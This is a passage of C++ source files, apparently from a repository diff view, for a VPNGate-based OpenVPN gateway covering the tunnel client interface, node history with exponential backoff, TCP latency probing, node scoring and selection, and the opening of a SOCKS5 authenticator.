int prefix6 = 0;
int mtu = 1500;
std::vector<std::string> dns; // in server priority order
std::vector<std::string> routes; // "10.0.0.0/8", capped; diagnostics only
std::string server_ip; // the VPN server we are talking to
std::string session_name;
bool redirect_gateway = false;
bool usable() const { return !ipv4.empty() && prefix4 > 0; }
};
struct TunnelCounters {
int64_t transport_bytes_in = 0;
int64_t transport_bytes_out = 0;
int64_t tun_bytes_in = 0;
int64_t tun_bytes_out = 0;
// Milliseconds since the last packet arrived from the server, or -1 if none
// ever has. This is the single most useful liveness signal we get from the
// core, and the health monitor's stall detector is built on it.
int last_packet_received_ms = -1;
bool valid = false;
};
class TunnelClient : public std::enable_shared_from_this<TunnelClient> {
public:
// Runs on `io`. For Up, `info` is populated; otherwise it is empty and
// `detail` carries the reason.
using StateHandler = std::function<void(TunnelState state,
const TunnelInfo &info,
const std::string &detail)>;
static std::shared_ptr<TunnelClient> create(asio::io_context &io,
OvpnConfig cfg);
~TunnelClient();
TunnelClient(const TunnelClient &) = delete;
TunnelClient &operator=(const TunnelClient &) = delete;
// Sanitizes the node's profile, opens the packet pipe, starts the worker.
// Returns false without starting anything if the profile is unusable, which
// is a node-level failure the selector should record, not a fatal error.
bool start(const vpngate::Node &node, const vpngate::Remote &remote,
StateHandler on_state, std::string *err);
// Idempotent and asynchronous. `on_stopped` runs on the io_context once the
// worker has exited and the object is safe to destroy.
void stop(std::function<void()> on_stopped = {});
TunnelState state() const;
TunnelInfo info() const;
TunnelCounters counters() const;
const std::string &node_id() const { return node_id_; }
const vpngate::Remote &remote() const { return remote_; }
// The netstack's end of the tun. Valid from a successful start() until the
// object is destroyed.
PacketPipe &pipe() { return pipe_; }
// The profile actually handed to openvpn3, after sanitizing. Kept for the
// admin endpoint: when a node fails to connect, this is the first thing
// anyone will want to look at.
const std::string &sanitized_profile() const { return profile_; }
// True when the build has openvpn3 linked in. When false, start() always
// fails and the only usable egress is "direct".
static bool supported();
private:
class Impl;
friend class Impl;
TunnelClient(asio::io_context &io, OvpnConfig cfg);
// Builds the openvpn3 client and starts the worker. Split out from start()
// so the profile handling above it is shared with builds that have no
// openvpn3 linked in.
bool launch(std::string *err);
// Called from the worker thread.
void post_state(TunnelState s, TunnelInfo info, std::string detail);
void post_worker_finished();
void arm_up_timer();
void cancel_up_timer();
asio::io_context &io_;
OvpnConfig cfg_;
PacketPipe pipe_;
asio::steady_timer up_timer_;
std::string node_id_;
vpngate::Remote remote_;
std::string profile_;
mutable std::mutex mu_; // guards state_, info_, on_state_, on_stopped_
TunnelState state_ = TunnelState::Idle;
TunnelInfo info_;
StateHandler on_state_;
std::function<void()> on_stopped_;
bool terminal_seen_ = false;
bool worker_finished_ = false;
std::unique_ptr<Impl> impl_;
std::thread worker_;
};
} // namespace ovg::ovpn
+170
View File
@@ -0,0 +1,170 @@
#include "selector/history.h"
#include <algorithm>
#include <filesystem>
#include <fstream>
#include <sstream>
#include "common/logging.h"
namespace ovg::selector {
namespace {
constexpr const char *kMod = "selector";
constexpr double kEwmaAlpha = 0.3; // favours recent measurements
int64_t now_ms() {
return std::chrono::duration_cast<std::chrono::milliseconds>(
std::chrono::system_clock::now().time_since_epoch())
.count();
}
double ewma(double prev, double sample) {
if (prev <= 0.0) return sample;
return prev * (1.0 - kEwmaAlpha) + sample * kEwmaAlpha;
}
} // namespace
HistoryStore::HistoryStore(std::string path, SelectorConfig cfg)
: path_(std::move(path)), cfg_(std::move(cfg)) {}
void HistoryStore::load() {
if (path_.empty()) return;
std::ifstream in(path_);
if (!in) {
LOG_DEBUG(kMod, "no history file at {} (first run?)", path_);
return;
}
std::lock_guard lk(mu_);
stats_.clear();
std::string line;
size_t lineno = 0, bad = 0;
while (std::getline(in, line)) {
++lineno;
if (line.empty() || line[0] == '#') continue;
std::istringstream ls(line);
std::string id;
NodeStats s;
if (!(ls >> id >> s.successes >> s.failures >> s.consecutive_failures >>
s.last_failure_ms >> s.last_success_ms >> s.ewma_rtt_ms >>
s.ewma_throughput_bps)) {
++bad;
continue;
}
stats_[id] = s;
}
if (bad)
LOG_WARN(kMod, "history {}: skipped {} malformed line(s)", path_, bad);
LOG_INFO(kMod, "loaded history for {} node(s)", stats_.size());
}
void HistoryStore::save() const {
if (path_.empty()) return;
std::lock_guard lk(mu_);
if (!dirty_) return;
std::error_code ec;
const auto path = std::filesystem::path(path_);
if (path.has_parent_path())
std::filesystem::create_directories(path.parent_path(), ec);
const std::string tmp = path_ + ".tmp";
{
std::ofstream out(tmp, std::ios::trunc);
if (!out) {
LOG_WARN(kMod, "cannot write history {}", tmp);
return;
}
out << "# node_id successes failures consecutive_failures "
"last_failure_ms last_success_ms ewma_rtt_ms ewma_throughput_bps\n";
for (const auto &[id, s] : stats_) {
out << id << ' ' << s.successes << ' ' << s.failures << ' '
<< s.consecutive_failures << ' ' << s.last_failure_ms << ' '
<< s.last_success_ms << ' ' << s.ewma_rtt_ms << ' '
<< s.ewma_throughput_bps << '\n';
}
if (!out) {
LOG_WARN(kMod, "short write to history {}", tmp);
return;
}
}
std::filesystem::rename(tmp, path, ec);
if (ec) {
LOG_WARN(kMod, "cannot rename history into place: {}", ec.message());
return;
}
dirty_ = false;
}
NodeStats HistoryStore::get(const std::string &node_id) const {
std::lock_guard lk(mu_);
auto it = stats_.find(node_id);
return it == stats_.end() ? NodeStats{} : it->second;
}
void HistoryStore::record_success(const std::string &node_id, double rtt_ms) {
std::lock_guard lk(mu_);
auto &s = stats_[node_id];
s.successes++;
s.consecutive_failures = 0;
s.last_success_ms = now_ms();
if (rtt_ms > 0) s.ewma_rtt_ms = ewma(s.ewma_rtt_ms, rtt_ms);
dirty_ = true;
}
void HistoryStore::record_failure(const std::string &node_id) {
std::lock_guard lk(mu_);
auto &s = stats_[node_id];
s.failures++;
s.consecutive_failures++;
s.last_failure_ms = now_ms();
dirty_ = true;
}
void HistoryStore::record_throughput(const std::string &node_id, double bps) {
if (bps <= 0) return;
std::lock_guard lk(mu_);
auto &s = stats_[node_id];
s.ewma_throughput_bps = ewma(s.ewma_throughput_bps, bps);
dirty_ = true;
}
std::chrono::milliseconds HistoryStore::backoff_for(uint32_t consecutive) const {
if (consecutive == 0) return std::chrono::milliseconds::zero();
// Exponential, capped. Shift is bounded to avoid UB and absurd values.
const uint32_t shift = std::min<uint32_t>(consecutive - 1, 16);
const int64_t base = cfg_.failure_backoff_initial.count();
const int64_t want = base << shift;
return std::chrono::milliseconds(
std::min<int64_t>(want, cfg_.failure_backoff_max.count()));
}
bool HistoryStore::is_backed_off(const std::string &node_id) const {
return backoff_remaining(node_id) > std::chrono::milliseconds::zero();
}
std::chrono::milliseconds HistoryStore::backoff_remaining(
const std::string &node_id) const {
std::lock_guard lk(mu_);
auto it = stats_.find(node_id);
if (it == stats_.end()) return std::chrono::milliseconds::zero();
const auto &s = it->second;
if (s.consecutive_failures == 0 || s.last_failure_ms == 0)
return std::chrono::milliseconds::zero();
const auto window = backoff_for(s.consecutive_failures);
const int64_t elapsed = now_ms() - s.last_failure_ms;
if (elapsed < 0) return std::chrono::milliseconds::zero(); // clock moved back
const int64_t left = window.count() - elapsed;
return std::chrono::milliseconds(std::max<int64_t>(0, left));
}
size_t HistoryStore::size() const {
std::lock_guard lk(mu_);
return stats_.size();
}
} // namespace ovg::selector
+70
View File
@@ -0,0 +1,70 @@
// Per-node outcome history, persisted across restarts.
//
// This is what stops us from walking into the same broken node every time the
// API returns it with a flattering Score. A node that fails repeatedly gets
// exponentially backed off; a node that has served us well gets credit for it.
//
// Storage is a plain TSV file rather than JSON: the schema is fixed, the file
// is machine-written and machine-read, and a line-oriented format degrades
// gracefully (one corrupt line costs one node, not the whole file).
#pragma once
#include <chrono>
#include <cstdint>
#include <mutex>
#include <string>
#include <unordered_map>
#include "common/config.h"
namespace ovg::selector {
struct NodeStats {
uint32_t successes = 0;
uint32_t failures = 0;
uint32_t consecutive_failures = 0;
int64_t last_failure_ms = 0; // epoch millis, 0 = never
int64_t last_success_ms = 0;
double ewma_rtt_ms = 0.0; // measured by us, not by VPNGate
double ewma_throughput_bps = 0.0;
double success_rate() const {
const uint32_t total = successes + failures;
// No history: assume neutral rather than perfect, so an unknown node does
// not outrank a proven one on this term alone.
if (total == 0) return 0.5;
return static_cast<double>(successes) / static_cast<double>(total);
}
};
class HistoryStore {
public:
explicit HistoryStore(std::string path, SelectorConfig cfg);
void load();
void save() const;
NodeStats get(const std::string &node_id) const;
void record_success(const std::string &node_id, double rtt_ms);
void record_failure(const std::string &node_id);
void record_throughput(const std::string &node_id, double bps);
// True while the node is inside its exponential backoff window.
bool is_backed_off(const std::string &node_id) const;
// Remaining backoff, for logging.
std::chrono::milliseconds backoff_remaining(const std::string &node_id) const;
size_t size() const;
private:
std::chrono::milliseconds backoff_for(uint32_t consecutive) const;
std::string path_;
SelectorConfig cfg_;
mutable std::mutex mu_;
std::unordered_map<std::string, NodeStats> stats_;
mutable bool dirty_ = false;
};
} // namespace ovg::selector
+157
View File
@@ -0,0 +1,157 @@
#include "selector/prober.h"
#include <algorithm>
#include <chrono>
#include <memory>
#include "common/logging.h"
namespace ovg::selector {
namespace {
constexpr const char *kMod = "selector";
// Runs the whole probe batch. Owns itself until every target is done.
class ProbeRun : public std::enable_shared_from_this<ProbeRun> {
public:
ProbeRun(asio::io_context &io, SelectorConfig cfg,
std::vector<ProbeTarget> targets, Prober::Handler handler)
: io_(io),
cfg_(std::move(cfg)),
targets_(std::move(targets)),
handler_(std::move(handler)) {
results_.resize(targets_.size());
for (size_t i = 0; i < targets_.size(); ++i)
results_[i].node_id = targets_[i].node_id;
}
void start() {
if (targets_.empty()) {
finish();
return;
}
const size_t lanes = std::max<size_t>(
1, std::min(cfg_.probe_concurrency, targets_.size()));
outstanding_ = lanes;
for (size_t i = 0; i < lanes; ++i) take_next();
}
private:
// Pulls the next target index; returns false when the queue is drained.
void take_next() {
const size_t idx = next_.fetch_add(1);
if (idx >= targets_.size()) {
if (--outstanding_ == 0) finish();
return;
}
sample(idx, 0, {});
}
// One TCP handshake, timed. `acc` collects the successful samples.
void sample(size_t idx, size_t sample_no, std::vector<double> acc) {
if (sample_no >= cfg_.probe_samples) {
record(idx, std::move(acc));
take_next();
return;
}
const auto &t = targets_[idx];
auto sock = std::make_shared<asio::ip::tcp::socket>(io_);
auto timer = std::make_shared<asio::steady_timer>(io_);
auto started = std::chrono::steady_clock::now();
auto done = std::make_shared<bool>(false);
asio::ip::tcp::endpoint ep;
std::error_code pec;
const auto addr = asio::ip::make_address(t.host, pec);
if (pec) {
// Node hosts in the VPNGate feed are IP literals. A name here means the
// profile was unusual; skip rather than pulling in a resolver.
LOG_DEBUG(kMod, "probe {}: host '{}' is not an IP literal", t.node_id,
t.host);
record(idx, {});
take_next();
return;
}
ep = asio::ip::tcp::endpoint(addr, t.port);
timer->expires_after(cfg_.probe_timeout);
timer->async_wait([sock, done](std::error_code ec) {
if (ec || *done) return;
std::error_code ignored;
sock->close(ignored); // forces the pending connect to fail
});
auto self = shared_from_this();
sock->async_connect(
ep, [self, idx, sample_no, acc = std::move(acc), sock, timer, started,
done](std::error_code ec) mutable {
*done = true;
timer->cancel();
std::error_code ignored;
sock->close(ignored);
if (!ec) {
const auto elapsed = std::chrono::steady_clock::now() - started;
const double ms =
std::chrono::duration<double, std::milli>(elapsed).count();
acc.push_back(ms);
self->sample(idx, sample_no + 1, std::move(acc));
} else {
// A refused/unreachable node is not worth further samples.
self->record(idx, std::move(acc));
self->take_next();
}
});
}
void record(size_t idx, std::vector<double> samples) {
auto &r = results_[idx];
r.samples_ok = static_cast<int>(samples.size());
if (samples.empty()) {
r.reachable = false;
r.rtt_ms = -1.0;
LOG_DEBUG(kMod, "probe {} -> unreachable", r.node_id);
return;
}
// Median resists the one-off outlier that a mean would absorb.
std::sort(samples.begin(), samples.end());
r.reachable = true;
r.rtt_ms = samples[samples.size() / 2];
LOG_DEBUG(kMod, "probe {} -> {:.1f}ms ({} samples)", r.node_id, r.rtt_ms,
r.samples_ok);
}
void finish() {
if (finished_.exchange(true)) return;
int reachable = 0;
for (const auto &r : results_)
if (r.reachable) ++reachable;
LOG_INFO(kMod, "probed {} candidate(s), {} reachable", results_.size(),
reachable);
auto h = std::move(handler_);
if (h) h(std::move(results_));
}
asio::io_context &io_;
SelectorConfig cfg_;
std::vector<ProbeTarget> targets_;
std::vector<ProbeResult> results_;
Prober::Handler handler_;
std::atomic<size_t> next_{0};
std::atomic<size_t> outstanding_{0};
std::atomic<bool> finished_{false};
};
} // namespace
Prober::Prober(asio::io_context &io, SelectorConfig cfg)
: io_(io), cfg_(std::move(cfg)) {}
void Prober::probe(std::vector<ProbeTarget> targets, Handler handler) {
std::make_shared<ProbeRun>(io_, cfg_, std::move(targets), std::move(handler))
->start();
}
} // namespace ovg::selector
+56
View File
@@ -0,0 +1,56 @@
// Measures round-trip latency to candidate nodes from *this* host.
//
// Why this exists: VPNGate's own Ping/Score columns are measured from VPNGate's
// infrastructure in Japan, not from us. Ranking on them is close to ranking at
// random once you are on another continent (docs/FEASIBILITY.md §3.3).
//
// Method: time a TCP handshake to the node's OpenVPN port, take the median of
// N samples, discard the node on any failure.
//
// Limitation, stated plainly: this only works for nodes that expose a TCP
// remote. For UDP-only nodes there is no handshake to time without speaking
// OpenVPN's control protocol, so they fall back to the API's ping value with a
// penalty applied by the scorer. In practice nearly every VPNGate node offers
// TCP/443, so this is rarely hit.
#pragma once
#include <asio.hpp>
#include <cstdint>
#include <functional>
#include <string>
#include <vector>
#include "common/config.h"
namespace ovg::selector {
struct ProbeTarget {
std::string node_id;
std::string host;
uint16_t port = 0;
};
struct ProbeResult {
std::string node_id;
bool reachable = false;
double rtt_ms = -1.0; // median of the successful samples
int samples_ok = 0;
};
class Prober {
public:
Prober(asio::io_context &io, SelectorConfig cfg);
using Handler = std::function<void(std::vector<ProbeResult>)>;
// Probes all targets with bounded concurrency and invokes `handler` once,
// with one result per target, in the input order.
void probe(std::vector<ProbeTarget> targets, Handler handler);
private:
asio::io_context &io_;
SelectorConfig cfg_;
};
} // namespace ovg::selector
+128
View File
@@ -0,0 +1,128 @@
#include "selector/scorer.h"
#include <algorithm>
#include <cmath>
namespace ovg::selector {
namespace {
double clamp01(double v) { return std::clamp(v, 0.0, 1.0); }
} // namespace
namespace terms {
// VPNGate's Score spans roughly 0..10^7. Log-compress so the top few nodes do
// not swamp everything else.
double score_term(int64_t vpngate_score) {
if (vpngate_score <= 0) return 0.0;
return clamp01(std::log10(1.0 + static_cast<double>(vpngate_score)) / 7.0);
}
// Advertised line speed, log-compressed against 1 Gbps. This is the node's
// *link* speed shared across all its sessions, so it is a weak signal at best.
double speed_term(int64_t speed_bps) {
if (speed_bps <= 0) return 0.0;
return clamp01(std::log10(1.0 + static_cast<double>(speed_bps)) / 9.0);
}
// Load. 0 sessions = 1.0, 20 sessions = 0.5, 100 sessions = 0.17.
double sessions_term(int num_sessions) {
if (num_sessions < 0) num_sessions = 0;
return 1.0 / (1.0 + static_cast<double>(num_sessions) / 20.0);
}
// A week of uptime earns full marks; volunteers who restart hourly score low.
double uptime_term(int64_t uptime_ms) {
if (uptime_ms <= 0) return 0.0;
constexpr double kWeekMs = 7.0 * 86400.0 * 1000.0;
return clamp01(static_cast<double>(uptime_ms) / kWeekMs);
}
// 0ms = 1.0, 100ms = 0.5, 300ms = 0.25. Unmeasured RTT scores as mediocre
// rather than zero, so an unprobed node is not permanently excluded.
double rtt_term(double rtt_ms) {
if (rtt_ms < 0) return 0.35;
return 1.0 / (1.0 + rtt_ms / 100.0);
}
} // namespace terms
Scorer::Scorer(SelectorConfig cfg) : cfg_(std::move(cfg)) {}
bool Scorer::passes_filter(const vpngate::Node &n) const {
if (n.remotes.empty()) return false;
if (!cfg_.country_allow.empty()) {
const bool found = std::find(cfg_.country_allow.begin(),
cfg_.country_allow.end(),
n.country_short) != cfg_.country_allow.end();
if (!found) return false;
}
if (std::find(cfg_.country_deny.begin(), cfg_.country_deny.end(),
n.country_short) != cfg_.country_deny.end())
return false;
return true;
}
double Scorer::prior_score(const vpngate::Node &n) const {
const double total_w =
cfg_.w_score + cfg_.w_speed + cfg_.w_sessions + cfg_.w_uptime;
if (total_w <= 0) return 0.0;
const double s = cfg_.w_score * terms::score_term(n.api.score) +
cfg_.w_speed * terms::speed_term(n.api.speed_bps) +
cfg_.w_sessions * terms::sessions_term(n.api.num_sessions) +
cfg_.w_uptime * terms::uptime_term(n.api.uptime_ms);
return clamp01(s / total_w);
}
double Scorer::final_score(const ScoredNode &s) const {
const double total_w = cfg_.w_rtt + cfg_.w_prior + cfg_.w_history;
if (total_w <= 0) return 0.0;
double v = cfg_.w_rtt * terms::rtt_term(s.rtt_ms) +
cfg_.w_prior * s.prior +
cfg_.w_history * clamp01(s.history);
v /= total_w;
// A UDP remote avoids stacking TCP on TCP (see docs/FEASIBILITY.md §3.2), so
// give it a modest edge when we are told to prefer UDP.
if (cfg_.prefer_udp && s.node && s.node->has_udp()) v *= 1.05;
// Backed-off nodes stay selectable only as a last resort.
if (s.backed_off) v *= 0.10;
return clamp01(v);
}
std::vector<ScoredNode> Scorer::rank_by_prior(
const std::vector<vpngate::Node> &nodes,
const HistoryStore &history) const {
std::vector<ScoredNode> out;
out.reserve(nodes.size());
for (const auto &n : nodes) {
if (!passes_filter(n)) continue;
ScoredNode s;
s.node = &n;
s.prior = prior_score(n);
const auto stats = history.get(n.id());
s.history = stats.success_rate();
s.backed_off = history.is_backed_off(n.id());
// Seed RTT from history so a node we have measured before does not look
// unprobed on the next pass.
s.rtt_ms = stats.ewma_rtt_ms > 0 ? stats.ewma_rtt_ms : -1.0;
s.score = final_score(s);
out.push_back(s);
}
std::sort(out.begin(), out.end(), [](const ScoredNode &a, const ScoredNode &b) {
if (a.backed_off != b.backed_off) return !a.backed_off;
return a.score > b.score;
});
return out;
}
} // namespace ovg::selector
+61
View File
@@ -0,0 +1,61 @@
// Node scoring.
//
// Design rule: every term is an *absolute* function of the node's properties,
// never normalised against the current candidate set. Set-relative scores are
// not comparable across refreshes, which would break the "candidate must beat
// the incumbent by X%" hysteresis in the switch controller -- the incumbent's
// score would drift as the candidate pool changed around it.
#pragma once
#include <string>
#include <vector>
#include "common/config.h"
#include "selector/history.h"
#include "vpngate/node.h"
namespace ovg::selector {
struct ScoredNode {
const vpngate::Node *node = nullptr;
double prior = 0.0; // from API metrics only
double rtt_ms = -1.0; // measured by us; -1 = not probed
double history = 0.5;
double score = 0.0; // final blend
bool probed = false;
bool backed_off = false;
std::string note; // human-readable reason, for logs and /nodes
};
class Scorer {
public:
explicit Scorer(SelectorConfig cfg);
// Country allow/deny and "has a usable remote".
bool passes_filter(const vpngate::Node &n) const;
// API-only score in [0,1].
double prior_score(const vpngate::Node &n) const;
// Blend of prior, measured RTT and history, in [0,1].
double final_score(const ScoredNode &s) const;
// Ranks by prior only. Backed-off nodes are marked but still returned so the
// caller can report them; they are pushed to the end.
std::vector<ScoredNode> rank_by_prior(const std::vector<vpngate::Node> &nodes,
const HistoryStore &history) const;
private:
SelectorConfig cfg_;
};
// Exposed for testing: the individual absolute term mappings.
namespace terms {
double score_term(int64_t vpngate_score);
double speed_term(int64_t speed_bps);
double sessions_term(int num_sessions);
double uptime_term(int64_t uptime_ms);
double rtt_term(double rtt_ms);
} // namespace terms
} // namespace ovg::selector
+279
View File
@@ -0,0 +1,279 @@
#include "selector/selector.h"
#include <algorithm>
#include <memory>
#include <unordered_set>
#include "common/logging.h"
#include "common/metrics.h"
namespace ovg::selector {
namespace {
constexpr const char *kMod = "selector";
// A UDP-only node cannot be handshake-timed, so we fall back to VPNGate's own
// ping value -- measured from their infrastructure, not ours. Inflate it so an
// unverified number never outranks one we measured ourselves.
constexpr double kUnprobedPingPenalty = 1.5;
auto *g_probes = metrics::counter("ovg_selector_probes_total",
"TCP latency probes attempted");
auto *g_probe_fail = metrics::counter("ovg_selector_probe_failures_total",
"Probes that could not connect");
auto *g_selections = metrics::counter("ovg_selector_selections_total",
"Selection runs completed");
auto *g_empty = metrics::counter("ovg_selector_empty_selections_total",
"Selection runs that found no usable node");
auto *g_candidates = metrics::gauge("ovg_selector_candidates",
"Nodes passing the filter at last run");
// The remote we probe. Prefer TCP because that is the only thing we can time
// with a bare connect(); a UDP "connect" completes locally and measures nothing.
const vpngate::Remote *probe_remote(const vpngate::Node &n) {
for (const auto &r : n.remotes)
if (r.proto == vpngate::Proto::Tcp && r.port != 0 && !r.host.empty())
return &r;
return nullptr;
}
} // namespace
Selector::Selector(asio::io_context &io, SelectorConfig cfg,
vpngate::NodeStore &nodes, HistoryStore &history)
: io_(io),
cfg_(cfg),
nodes_(nodes),
history_(history),
scorer_(cfg),
prober_(io, cfg) {}
Candidate Selector::to_candidate(const ScoredNode &s) const {
Candidate c;
c.node = *s.node; // detach from the snapshot
c.score = s.score;
c.prior = s.prior;
c.rtt_ms = s.rtt_ms;
c.probed = s.probed;
c.backed_off = s.backed_off;
c.note = s.note;
return c;
}
void Selector::finish(std::vector<Candidate> ranked, size_t want,
Handler handler) {
std::sort(ranked.begin(), ranked.end(),
[](const Candidate &a, const Candidate &b) {
if (a.reachable != b.reachable) return a.reachable;
return a.score > b.score;
});
{
std::lock_guard lk(mu_);
last_ranking_ = ranked;
}
std::vector<Candidate> out;
for (auto &c : ranked) {
if (!c.reachable) continue;
out.push_back(std::move(c));
if (out.size() >= want) break;
}
g_selections->inc();
if (out.empty()) {
g_empty->inc();
// Empty because there is no directory yet is a startup race; empty with a
// directory in hand means every node was rejected or unreachable, which is
// the one an operator needs to see.
if (directory_loaded()) {
LOG_WARN(kMod, "selection found no usable node");
} else {
LOG_DEBUG(kMod, "selection found no usable node (no directory yet)");
}
} else {
LOG_INFO(kMod, "selected {} ({}, score {:.3f}, rtt {:.0f}ms{})",
out.front().node.id(), out.front().node.country_short,
out.front().score, out.front().rtt_ms,
out.front().probed ? "" : ", unprobed");
}
handler(std::move(out));
}
void Selector::select(SelectRequest req, Handler handler) {
auto snapshot = nodes_.snapshot();
if (!snapshot || snapshot->empty()) {
// Not a warning. The manager polls this once a second during startup while
// the first directory fetch is in flight, and a normal cold start should
// not produce a wall of warnings for a condition that clears itself in a
// second or two. The manager escalates if it never clears.
LOG_DEBUG(kMod, "no node list available yet");
finish({}, req.want, std::move(handler));
return;
}
auto ranked = scorer_.rank_by_prior(*snapshot, history_);
if (!req.exclude_ids.empty()) {
const std::unordered_set<std::string> excluded(req.exclude_ids.begin(),
req.exclude_ids.end());
ranked.erase(std::remove_if(ranked.begin(), ranked.end(),
[&](const ScoredNode &s) {
return excluded.count(s.node->id()) > 0;
}),
ranked.end());
}
g_candidates->set(static_cast<int64_t>(ranked.size()));
LOG_DEBUG(kMod, "{} node(s) pass the filter ({} excluded by caller)",
ranked.size(), req.exclude_ids.size());
if (ranked.empty()) {
finish({}, req.want, std::move(handler));
return;
}
if (!req.probe) {
std::vector<Candidate> out;
out.reserve(std::min(ranked.size(), req.want));
for (size_t i = 0; i < ranked.size() && out.size() < req.want; ++i) {
auto c = to_candidate(ranked[i]);
c.note = "prior only (probing skipped)";
out.push_back(std::move(c));
}
finish(std::move(out), req.want, std::move(handler));
return;
}
// Phase 2: probe only the top K.
const size_t k = std::min(ranked.size(), cfg_.probe_candidates);
ranked.resize(k);
std::vector<ProbeTarget> targets;
targets.reserve(k);
// Index into `ranked` for each probe target; UDP-only nodes are not probed
// and so do not appear here.
std::vector<size_t> target_index;
target_index.reserve(k);
for (size_t i = 0; i < k; ++i) {
const auto *r = probe_remote(*ranked[i].node);
if (!r) continue;
targets.push_back(ProbeTarget{ranked[i].node->id(), r->host, r->port});
target_index.push_back(i);
}
g_probes->inc(targets.size());
// Worth saying out loud: on VPNGate most nodes are UDP-only, so a top-10 by
// prior routinely yields three or four probe targets. An operator seeing
// "probed 4" against a 95-node directory would otherwise reasonably conclude
// the filter is broken.
if (targets.size() < k) {
LOG_INFO(kMod,
"{} of the top {} have no TCP remote to time; they keep their "
"API-reported ping with a penalty",
k - targets.size(), k);
}
// `snapshot` must outlive the probe: ScoredNode holds pointers into it.
auto captured = std::make_shared<std::vector<ScoredNode>>(std::move(ranked));
auto idx = std::make_shared<std::vector<size_t>>(std::move(target_index));
prober_.probe(
std::move(targets),
[this, snapshot, captured, idx, want = req.want,
handler = std::move(handler)](std::vector<ProbeResult> results) mutable {
auto &ranked = *captured;
// Nodes we could not probe at all keep their prior-derived RTT.
for (auto &s : ranked) {
if (s.rtt_ms < 0 && s.node->api.ping_ms > 0)
s.rtt_ms = s.node->api.ping_ms * kUnprobedPingPenalty;
}
std::vector<Candidate> out;
out.reserve(ranked.size());
std::unordered_set<size_t> probed_positions;
for (size_t i = 0; i < results.size() && i < idx->size(); ++i) {
const size_t pos = (*idx)[i];
probed_positions.insert(pos);
auto &s = ranked[pos];
const auto &r = results[i];
if (r.reachable) {
s.rtt_ms = r.rtt_ms;
s.probed = true;
s.note = "probed";
history_.record_success(s.node->id(), r.rtt_ms);
} else {
// A node that will not complete a TCP handshake on its own
// advertised port is not going to carry a tunnel. Record it so the
// backoff keeps us from retrying it every 30 seconds.
g_probe_fail->inc();
s.probed = true;
s.note = "probe failed: unreachable";
history_.record_failure(s.node->id());
}
}
for (size_t i = 0; i < ranked.size(); ++i) {
auto &s = ranked[i];
const bool was_probed = probed_positions.count(i) > 0;
const bool failed = was_probed && s.note.rfind("probe failed", 0) == 0;
if (!was_probed) {
s.note = s.node->has_udp()
? "udp-only: no TCP remote to time, using API ping"
: "no usable remote to probe";
}
s.score = scorer_.final_score(s);
auto c = to_candidate(s);
c.reachable = !failed;
if (failed) c.score = 0.0;
out.push_back(std::move(c));
}
// Probe outcomes changed the backoff state; persist before we act.
history_.save();
finish(std::move(out), want, std::move(handler));
});
}
std::optional<Candidate> Selector::rescore(const std::string &node_id) const {
auto snapshot = nodes_.snapshot();
if (!snapshot) return std::nullopt;
for (const auto &n : *snapshot) {
if (n.id() != node_id) continue;
ScoredNode s;
s.node = &n;
s.prior = scorer_.prior_score(n);
const auto stats = history_.get(node_id);
s.history = stats.success_rate();
s.backed_off = history_.is_backed_off(node_id);
s.rtt_ms = stats.ewma_rtt_ms > 0 ? stats.ewma_rtt_ms : -1.0;
s.probed = stats.ewma_rtt_ms > 0;
s.note = "rescored from history";
s.score = scorer_.final_score(s);
return to_candidate(s);
}
// The node fell out of the API list. That alone is not fatal -- an active
// tunnel to it keeps working -- but it can no longer be scored, so the caller
// should treat it as unknown rather than as zero.
return std::nullopt;
}
std::vector<Candidate> Selector::last_ranking() const {
std::lock_guard lk(mu_);
return last_ranking_;
}
bool Selector::directory_loaded() const { return nodes_.has_nodes(); }
} // namespace ovg::selector
+98
View File
@@ -0,0 +1,98 @@
// Picks which VPNGate node to connect to.
//
// Two phases, deliberately:
//
// 1. Cheap prior ranking over the whole list (~100 nodes) using the API
// metrics plus our own history. No network I/O.
// 2. Active probing of only the top-K survivors, then a re-score that weights
// our own measurement above anything VPNGate told us.
//
// Probing all ~100 nodes on every selection would be both slow and rude to a
// volunteer-run service; probing none of them means ranking on numbers measured
// from another continent (docs/FEASIBILITY.md §3.3).
//
// The result is a ranked list, not a single node: the switch controller needs
// alternatives when its first choice fails to come up.
#pragma once
#include <asio.hpp>
#include <functional>
#include <mutex>
#include <optional>
#include <string>
#include <vector>
#include "common/config.h"
#include "selector/history.h"
#include "selector/prober.h"
#include "selector/scorer.h"
#include "vpngate/node_store.h"
namespace ovg::selector {
// A ranked node, detached from the NodeStore snapshot it came from so the
// caller can hold it across a refresh.
struct Candidate {
vpngate::Node node;
double score = 0.0;
double prior = 0.0;
double rtt_ms = -1.0;
bool probed = false; // we timed a real handshake to it
bool reachable = true; // false only when a probe actually failed
bool backed_off = false;
std::string note; // why it scored the way it did; surfaced in logs and /nodes
};
struct SelectRequest {
// Nodes to leave out entirely: the incumbent, anything still draining, and
// anything the switch controller has already tried this round.
std::vector<std::string> exclude_ids;
size_t want = 3; // how many ranked candidates to return
bool probe = true; // false = prior-only, for a fast path at startup
};
class Selector {
public:
Selector(asio::io_context &io, SelectorConfig cfg, vpngate::NodeStore &nodes,
HistoryStore &history);
using Handler = std::function<void(std::vector<Candidate>)>;
// Runs the two-phase selection. `handler` is invoked exactly once, on the
// io_context, with up to `want` candidates ordered best-first. An empty
// result means nothing usable was found.
void select(SelectRequest req, Handler handler);
// Re-scores a single node against the current snapshot and history, without
// probing. Used for the "candidate must beat the incumbent by X%" check --
// the incumbent must be scored the same way as its challengers, and this is
// why every scoring term is absolute rather than set-relative.
std::optional<Candidate> rescore(const std::string &node_id) const;
// Most recent ranking, for the admin endpoint. May be empty.
std::vector<Candidate> last_ranking() const;
// Whether the directory has been loaded at all. An empty selection means two
// very different things -- "the node list has not arrived yet", which is a
// one-second-old process and resolves itself, and "every node was probed and
// none worked", which deserves a backoff. The caller cannot tell them apart
// from an empty result vector, so it asks here.
bool directory_loaded() const;
private:
Candidate to_candidate(const ScoredNode &s) const;
void finish(std::vector<Candidate> ranked, size_t want, Handler handler);
asio::io_context &io_;
SelectorConfig cfg_;
vpngate::NodeStore &nodes_;
HistoryStore &history_;
Scorer scorer_;
Prober prober_;
mutable std::mutex mu_;
std::vector<Candidate> last_ranking_;
};
} // namespace ovg::selector
+72
View File
@@ -0,0 +1,72 @@
#include "socks5/auth.h"
#include "common/logging.h"
namespace ovg::socks5 {
namespace {
constexpr const char *kMod = "auth";
}
Authenticator::Authenticator(std::vector<Credential> users, bool required)
: users_(std::move(users)), required_(required) {
// A fixed decoy, hashed exactly like a real credential, so the miss path
// costs the same as the hit path. Built once because generating it per
// attempt would itself be a timing signal.
